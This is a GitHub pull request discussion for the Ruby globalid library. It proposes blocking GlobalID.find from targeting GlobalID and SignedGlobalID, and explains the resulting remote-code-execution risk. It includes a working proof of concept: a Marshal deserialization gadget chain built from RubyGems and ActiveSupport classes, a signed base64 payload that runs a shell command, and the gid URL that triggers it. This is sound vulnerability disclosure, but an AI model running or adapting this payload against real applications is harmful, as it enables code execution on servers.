-
Notifications
You must be signed in to change notification settings - Fork 128
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
prevent double find #148
prevent double find #148
Conversation
Can you explain a bit further how you see the marshal exploit? Can't follow that thread. |
Verifier for SignedGlobalID inherits from
There are several ways to RCE from Marshal, but with rubygems and activesupport it is feasible for most applications where globalid is used. In addition to these, GlobalID.find may be implemented to accept user input in other applications such as https://graphql-ruby.org/schema/object_identification.htm, which is a potential risk. PoCattack_text.rb require 'globalid'
require 'active_support/key_generator'
require 'base64'
# attack code
gemspec = Gem::Specification.new("\n`touch me`#")
gemspec.version = "2"
pakcage = Gem::Installer::FakePackage.new(gemspec)
geminstaller = Gem::Installer.new(pakcage)
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new geminstaller, :ensure_loadable_spec
payload = Marshal.dump(dump_target)
data = ::Base64.strict_encode64(payload)
# globalid
SignedGlobalID.verifier = GlobalID::Verifier.new("dummy_secret_key_base")
digest = SignedGlobalID.verifier.send(:generate_digest, data)
rce_sgid = "#{data}--#{digest}"
puts rce_sgid
require 'globalid'
SignedGlobalID.verifier = GlobalID::Verifier.new("dummy_secret_key_base")
#use the output at attack_text.rb
rce_sgid = "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86E0dlbTo6SW5zdGFsbGVyFDoNQG9wdGlvbnN7CjoMYmluX2RpcjA6EGVudl9zaGViYW5nRjoKZm9yY2VGOhVvbmx5X2luc3RhbGxfZGlyRjoZcG9zdF9pbnN0YWxsX21lc3NhZ2VUOg1AcGFja2FnZW86IEdlbTo6SW5zdGFsbGVyOjpGYWtlUGFja2FnZQk6CkBzcGVjdToXR2VtOjpTcGVjaWZpY2F0aW9uAbkECFsYSSIKMy4zLjcGOgZFVGkJSSIRCmB0b3VjaCBtZWAjBjsAVFU6EUdlbTo6VmVyc2lvblsGSSIGMgY7AFRJdToJVGltZQ1Arh7AAAAAAAY6CXpvbmVJIghVVEMGOwBGMFU6FUdlbTo6UmVxdWlyZW1lbnRbBlsGWwdJIgc+PQY7AFRVOwZbBkkiBjAGOwBGVTsJWwZbBkAQMFsASSIABjsAVDBbADAwVEkiCXJ1YnkGOwBUWwB7ADoOQGRpcl9tb2RlMDoPQHByb2dfbW9kZTA6D0BkYXRhX21vZGUwOhFAZW52X3NoZWJhbmdGOgtAZm9yY2VGOhFAaW5zdGFsbF9kaXIwOg5AZ2VtX2hvbWVJIkUvVXNlcnMvb29vby9zdXJ2ZXkvcmFpbHNfZ2xvYmFsX2lkX3Rlc3QvdmVuZG9yL2J1bmRsZS9ydWJ5LzMuMS4wBjoGRVQ6EUBwbHVnaW5zX2RpckkiTS9Vc2Vycy9vb29vL3N1cnZleS9yYWlsc19nbG9iYWxfaWRfdGVzdC92ZW5kb3IvYnVuZGxlL3J1YnkvMy4xLjAvcGx1Z2lucwY7GVQ6GUBpZ25vcmVfZGVwZW5kZW5jaWVzMDoXQGZvcm1hdF9leGVjdXRhYmxlMDoOQHdyYXBwZXJzMDoWQG9ubHlfaW5zdGFsbF9kaXJGOg1AYmluX2RpckkiSS9Vc2Vycy9vb29vL3N1cnZleS9yYWlsc19nbG9iYWxfaWRfdGVzdC92ZW5kb3IvYnVuZGxlL3J1YnkvMy4xLjAvYmluBjsZVDoRQGRldmVsb3BtZW50MDoQQGJ1aWxkX3Jvb3QwOhBAYnVpbGRfYXJnczA6DEBtZXRob2Q6GWVuc3VyZV9sb2FkYWJsZV9zcGVjOglAdmFySSIaQGVuc3VyZV9sb2FkYWJsZV9zcGVjBjsZVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsZVA==--e0f9c1cba154d828af584192572171f9e68e603c"
# call SignedGlobalID from GlobalID
gid = "gid://bcx/SignedGlobalID/#{CGI.escape(rce_sgid)}"
result = GlobalID.find gid
puts result
=> |
GlobalID and SignedGlobalID themselves have a
.find
method, so they can be specified as a model.SignedGlobalID is in danger of unexpected RCE if secret_key_base is compromised because Marshal is used internally.
This pull request prevents GlobalID and SignedGlobalID from being targeted.